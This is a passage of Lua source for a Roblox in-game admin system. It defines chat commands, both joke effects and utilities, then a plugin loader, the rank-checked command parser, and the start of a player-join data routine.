8315 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8316 end
8317 end};
8318
8319 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8320 local Players = STRING:Scan(Arguments[1], Speaker)
8321 for _,Player in pairs(Players) do
8322 if Player.Character and Player.Character:FindFirstChild("Head") then
8323 local Char = Player.Character
8324 Char:BreakJoints()
8325 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8326 Obj.Anchored = true
8327 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8328 local Decal = Instance.new("Decal", Obj)
8329 Decal.Texture = "rbxassetid://178913323"
8330 Decal.Face = Face
8331 end
8332 end)
8333 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8334 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8335 Sound1:Play() Sound2:Play()
8336 coroutine.wrap(function()
8337 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8338 repeat wait()
8339 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8340 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8341 Obj.Transparency = math.random(0,30)/100
8342 Obj.Reflectance = math.random(0,50)/100
8343 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8344 end)
8345 until Char ~= Player.Character or Char.Parent == nil
8346 end)()
8347 end
8348 end
8349 end, Hidden = true};
8350
8351 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8352 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8353 end, Http = true};
8354
8355 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8356 local Players = STRING:Scan(Arguments[1], Speaker)
8357 for _,Player in pairs(Players) do
8358 if Player.Character then
8359 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8360 Obj.Material = "Neon"
8361 end)
8362 end
8363 end
8364 end};
8365
8366 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8367 local Players = STRING:Scan(Arguments[1], Speaker)
8368 for _,Player in pairs(Players) do
8369 if Player.Character then
8370 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8371 Obj.Material = "Plastic"
8372 end)
8373 end
8374 end
8375 end};
8376
8377 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8378 local Players = STRING:Scan(Arguments[1], Speaker)
8379 for _,Player in pairs(Players) do
8380 if Player.Character then
8381 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8382 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8383 end)
8384 end
8385 end
8386 end, Hidden = true};
8387
8388 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8389 local Players = STRING:Scan(Arguments[1], Speaker)
8390 for _,Player in pairs(Players) do
8391 if Player.Character and Player.Character:FindFirstChild("Torso") then
8392 local Pos = Player.Character.Torso.Position
8393 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8394 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8395 if Answer == "Ok" then
8396 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8397 end
8398 end
8399 end
8400 end};
8401
8402 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8403 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8404 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8405 if PlayersFrom and PlayersTo then
8406 for _,PlayerFrom in pairs(PlayersFrom) do
8407 for _,PlayerTo in pairs(PlayersTo) do
8408 if PlayerFrom.Character and PlayerTo.Character then
8409 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8410 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8411 wait(5)
8412 Laser:Destroy()
8413 end)() end
8414 end
8415 end
8416 end
8417 end
8418 end};
8419
8420 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8421 local Players = STRING:Scan(Arguments[1], Speaker)
8422 for _,Player in pairs(Players) do
8423 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8424 Player.Character.Humanoid:Destroy()
8425 end
8426 end
8427 end};
8428
8429 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8430 if Plugins then
8431 local List = {}
8432 for _,Module in pairs(Plugins:GetChildren()) do
8433 if Module:IsA("ModuleScript") then
8434 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8435 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8436 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8437 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8438 end
8439 end
8440 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8441 else
8442 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8443 end
8444 end};
8445
8446 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8447 local Players = STRING:Scan(Arguments[1], Speaker)
8448 for _,Player in pairs(Players) do
8449 GUI:DetachChat(Player)
8450 end
8451 end};
8452
8453 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8454 GUI:DetachChat(Speaker)
8455 end};
8456
8457 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8458 local Players = STRING:Scan(Arguments[1], Speaker)
8459 for _,Player in pairs(Players) do
8460 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8461 local Dead = false
8462
8463 Player.Character.Humanoid.WalkSpeed = 1
8464 local Torso = Player.Character.Torso
8465 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8466 Truck:BreakJoints()
8467 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8468 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8469 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8470 Truck.Touched:connect(function(Part)
8471 if Dead == false then
8472 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8473 if TouchPlayer == Player then
8474 Dead = true
8475 Player.Character:BreakJoints()
8476 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8477 end
8478 end
8479 end)
8480 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8481 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8482 Delay(5, function()
8483 Truck:Destroy()
8484 if Player.Character:FindFirstChild("Humanoid") then
8485 Player.Character.Humanoid.WalkSpeed = 16
8486 end
8487 end)
8488 end
8489 end
8490 end};
8491
8492 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8493 local Joke = REMOTE:DownloadJoke(Speaker)
8494 local Players = STRING:Scan(Arguments[1], Speaker)
8495 for _,Player in pairs(Players) do
8496 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8497 end
8498 end, Http = true};
8499
8500 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8501 local Joke = REMOTE:DownloadJoke(Speaker)
8502 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8503 end, Http = true};
8504
8505 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8506 local Players = STRING:Scan(Arguments[1], Speaker)
8507 for _,Player in pairs(Players) do
8508 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8509 CORE:InvisiblePlayer(Player)
8510 local DogContainer = Instance.new("Model", Player.Character)
8511 DogContainer.Name = "Doge"
8512 local Dog = CORE:Insert(257489726, DogContainer, true)
8513 Dog.Head.Transparency = 0.99
8514 Dog.Name = Player.Name
8515 Dog:MoveTo(Player.Character.Torso.Position)
8516 local Weld = Instance.new("Weld", Dog.Torso)
8517 Weld.Part0 = Player.Character.Torso
8518 Weld.Part1 = Dog.Torso
8519 Weld.C0 = CFrame.new(0,-0.4,0)
8520 for _,Obj in pairs(Dog:GetChildren()) do
8521 if Obj:IsA("BasePart") then
8522 Obj.CanCollide = false
8523 end
8524 end
8525
8526 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8527 end
8528 end
8529 end};
8530
8531 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8532 local Key = string.lower(string.sub(Arguments[1],1,1))
8533 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8534 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8535 end};
8536
8537 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8538 local Key = string.lower(string.sub(Arguments[1],1,1))
8539 KeyBinds[Speaker.UserId][Key] = nil
8540 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8541 end};
8542
8543 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8544 KeyBinds[Speaker.UserId] = {}
8545 GUI:SendHint(Speaker, "Unbinded all keys")
8546 end};
8547
8548 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8549 local Players = STRING:Scan(Arguments[1], Speaker)
8550 local Key = string.lower(string.sub(Arguments[2],1,1))
8551 for _,Player in pairs(Players) do
8552 KeyBinds[Player.UserId][Key] = Arguments[3]
8553 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8554 end
8555 end};
8556
8557 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8558 local Players = STRING:Scan(Arguments[1], Speaker)
8559 local Key = string.lower(string.sub(Arguments[2],1,1))
8560 for _,Player in pairs(Players) do
8561 KeyBinds[Player.UserId][Key] = nil
8562 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8563 end
8564 end};
8565
8566 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8567 local Players = STRING:Scan(Arguments[1], Speaker)
8568 for _,Player in pairs(Players) do
8569 KeyBinds[Player.UserId] = {}
8570 GUI:SendHint(Player, "Unbinded all keys")
8571 end
8572 end};
8573
8574 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8575 local Players = STRING:Scan(Arguments[1], Speaker)
8576 local Binds = {}
8577 for _,Player in pairs(Players) do
8578 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8579 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8580 end
8581 end
8582 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8583 end};
8584
8585 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8586 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8587 local Players = STRING:Scan(ChatSplit[1], Speaker)
8588 for _,Player in pairs(Players) do
8589 if Crowns[Player.UserId] then
8590 Crowns[Player.UserId]:Destroy()
8591 Crowns[Player.UserId] = nil
8592 wait()
8593 end
8594 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8595 end
8596 end};
8597
8598 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8599 local Players = STRING:Scan(Arguments[1], Speaker)
8600 for _,Player in pairs(Players) do
8601 if Crowns[Player.UserId] then
8602 Crowns[Player.UserId]:Destroy()
8603 Crowns[Player.UserId] = nil
8604 end
8605 end
8606 end};
8607
8608 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8609 local MeshList = {}
8610 for MeshName,Data in pairs(Meshes) do
8611 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8612 end
8613 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8614 end};
8615
8616 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8617 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8618 end};
8619
8620 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8621 local Players = STRING:Scan(Arguments[1], Speaker)
8622 for _,Player in pairs(Players) do
8623 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8624 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8625 Player:ClearCharacterAppearance()
8626 CORE:GivePackage(Player, 41851073)
8627 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8628 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8629 end
8630 end
8631 end};
8632
8633 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8634 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8635 local Players = STRING:Scan(Arguments[1], Speaker)
8636 for _,Player in pairs(Players) do
8637 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8638 local Car = CORE:Insert(10479801, Server.Workspace, true)
8639 local Body = Car["Motor (torque)Chassis"].Part
8640 Cars[Player.UserId] = Car
8641 Car:MakeJoints()
8642 Car.VehicleSeat.MaxSpeed = 50
8643 Car.VehicleSeat.TurnSpeed = 1.5
8644 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8645 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8646 Body.Color = GUI:GetColor(Arguments[2])
8647 else
8648 Body.BrickColor = GUI:GetNameColor(Player.Name)
8649 end
8650 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8651 if Part.Name ~= "Part" then
8652 Part.BrickColor = BrickColor.new("Really black")
8653 Part.Friction = 0.7
8654 end
8655 end
8656 local Light = Instance.new("SpotLight", Body)
8657 Light.Face = "Back"
8658 Light.Brightness = 5
8659 Light.Range = 20
8660 Light.Color = Color3.new(0,1,1)
8661 if Player.Character and Player.Character.Torso then
8662 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8663 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8664 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8665 Weld.Part0 = Car.VehicleSeat
8666 Weld.Part1 = Player.Character.Torso
8667 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8668 Delay(0.4, function()
8669 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8670 wait(0.1)
8671 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8672 end)
8673 end
8674 local SoundID = 147944604
8675 if RANK:GetRank(Player) == "Owner" then
8676 SoundID = 133313356
8677 Car.VehicleSeat.MaxSpeed = 80
8678 Body.Material = "DiamondPlate"
8679 Car.VehicleSeat.Torque = 11
8680 end
8681 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8682 Engine:Play()
8683 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8684 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8685 end if Engine then Engine:Stop() end end)()
8686 end
8687 end};
8688
8689 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8690 local Players = STRING:Scan(Arguments[1], Speaker)
8691 for _,Player in pairs(Players) do
8692 if Cars[Player.UserId] then
8693 Cars[Player.UserId]:Destroy()
8694 end
8695 end
8696 end};
8697
8698 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8699 for _,Car in pairs(Cars) do
8700 Car:Destroy()
8701 end
8702 Cars = {}
8703 end};
8704
8705 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8706 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8707 if #Trello.RequiredLists > 0 then
8708 print("Restarting Trello")
8709 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8710 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8711 REMOTE:TrelloCacheData(Lists)
8712 end
8713 end, Http = true};
8714
8715 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8716 local Operations = {}
8717 for _,ReplaceData in pairs(StringReplacements) do
8718 local Replacement = ReplaceData[1]
8719 if type(Replacement) == "table" then
8720 Replacement = ReplaceData[1][1]
8721 end
8722 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8723 end
8724 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8725 end};
8726
8727 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8728 GUI:SoundInfo(Speaker)
8729 end};
8730
8731 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8732 local Players = STRING:Scan(Arguments[1], Speaker)
8733 for _,Player in pairs(Players) do
8734 GUI:SoundInfo(Player)
8735 end
8736 end};
8737
8738 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8739 if tonumber(Arguments[1]) then
8740 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8741 end
8742 end};
8743
8744 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8745 local Types = {}
8746 for Type,_ in pairs(Assets.AccessoryTypes) do
8747 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8748 end
8749 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8750 end};
8751
8752 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8753 local Sky = Server.Lighting:FindFirstChild("Sky")
8754 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8755 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8756 local Face = nil
8757 local SkyID = string.lower(Arguments[1])
8758 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8759 if #Arguments == 2 and tonumber(Arguments[2]) then
8760 Face = Arguments[1]
8761 SkyID = Arguments[2]
8762 end
8763 if tonumber(SkyID) then
8764 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8765 if Face and Faces[Face] then
8766 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8767 else
8768 for _,Face in pairs(Faces) do
8769 Sky[Face] = "rbxassetid://"..ImageID
8770 end
8771 end
8772 else
8773 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8774 end
8775 end};
8776
8777 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8778 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8779 Obj:Destroy()
8780 end)
8781 end};
8782 --
8783}
8784
8785if Plugins then
8786 local PluginNum = 0
8787 for _,Module in pairs(Plugins:GetChildren()) do
8788 if Module:IsA("ModuleScript") then
8789 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8790 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8791 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8792 if Enabled.Value == true then
8793 PluginNum = PluginNum + 1
8794 local PluginExe = require(Module)
8795 for Var,Val in pairs(getfenv()) do
8796 getfenv(PluginExe)[Var] = Val
8797 end
8798 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8799 getfenv(PluginExe).script = Module
8800 getfenv(PluginExe).Script = Module
8801 getfenv(PluginExe).Version = Version
8802 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8803 if not Suc then
8804 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8805 else
8806 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8807 end
8808 end
8809 end
8810 end
8811end
8812
8813function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8814 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8815 GUI:SettingsGui(Speaker)
8816 return nil
8817 end
8818 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8819 local Prefix = Settings.Prefix
8820 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8821 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8822 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8823 if Speaker == nil then
8824 if FakeRank then
8825 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8826 FakeRank = "Owner"
8827 end
8828 else
8829 FakeRank = "Owner"
8830 end
8831 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8832 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8833 Speaker = {
8834 Name = FakePlayerName or "[ Server ]";
8835 Character = nil;
8836 userId = 1;
8837 PlayerGui = nil;
8838 Rank = FakeRank or "Owner";
8839 MakeSupremeOwner = MakeSupremeOwner;
8840 }
8841 end
8842 local Rank = RANK:GetRank(Speaker)
8843 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8844
8845 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8846 if NoPrefixNeeded then Prefix = "" end
8847 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8848
8849 for _,Message in pairs(Messages) do
8850 for Cmds,Data in pairs(Commands) do -- check all commands
8851 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8852
8853 if not MessageSplit then break end
8854
8855 local CommandSaid = false
8856 for _,Command in pairs(Cmds) do
8857 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8858 CommandSaid = true
8859 break
8860 end
8861 end
8862 if CommandSaid == true then -- command said?
8863 local ExecuteExcuse = ""
8864 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8865 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8866 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8867 end
8868 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8869 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8870 end
8871 else
8872 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8873 end
8874 if ExecuteExcuse == "" then
8875 if #MessageSplit - 1 < Data[3] then
8876 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8877 end
8878 end
8879 if ExecuteExcuse == "" then
8880 CORE:Log(CommandLogs, Speaker, Message)
8881 table.remove(MessageSplit, 1)
8882 coroutine.wrap(function() wait()
8883 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8884 if not DidExe then
8885 if CORE:NilPlayer(Speaker) then
8886 print("Error: "..Error)
8887 else
8888 CORE:HandleError(Error, Speaker)
8889 end
8890 end
8891 end)()
8892 coroutine.wrap(function() wait(0.05)
8893 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8894 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8895 ExeSound:Play()
8896 wait(3)
8897 ExeSound:Stop()
8898 ExeSound:Destroy()
8899 end
8900 end)()
8901 elseif type(Speaker) == "userdata" then
8902 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8903 end
8904 break
8905 end
8906 end
8907 end
8908 end
8909end
8910
8911function CORE:Start(Player) coroutine.wrap(function()
8912 wait(0.1)
8913 if Player then
8914 coroutine.wrap(function()
8915 repeat wait(1) until DataReady == true
8916 DataReady = false
8917 ypcall(function()
8918 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8919 for Num,Data in pairs(Players) do
8920 if Data.UserId == Player.UserId then -- ppl can change names
8921 table.remove(Players, Num)
8922 break
8923 end
8924 end
8925 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8926 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8927 end)
8928 DataReady = true
8929 end)()
8930
8931 if not IsStudio then Player:WaitForDataReady() end
8932 table.insert(CharacterCache, {Player.Name, Player.UserId})
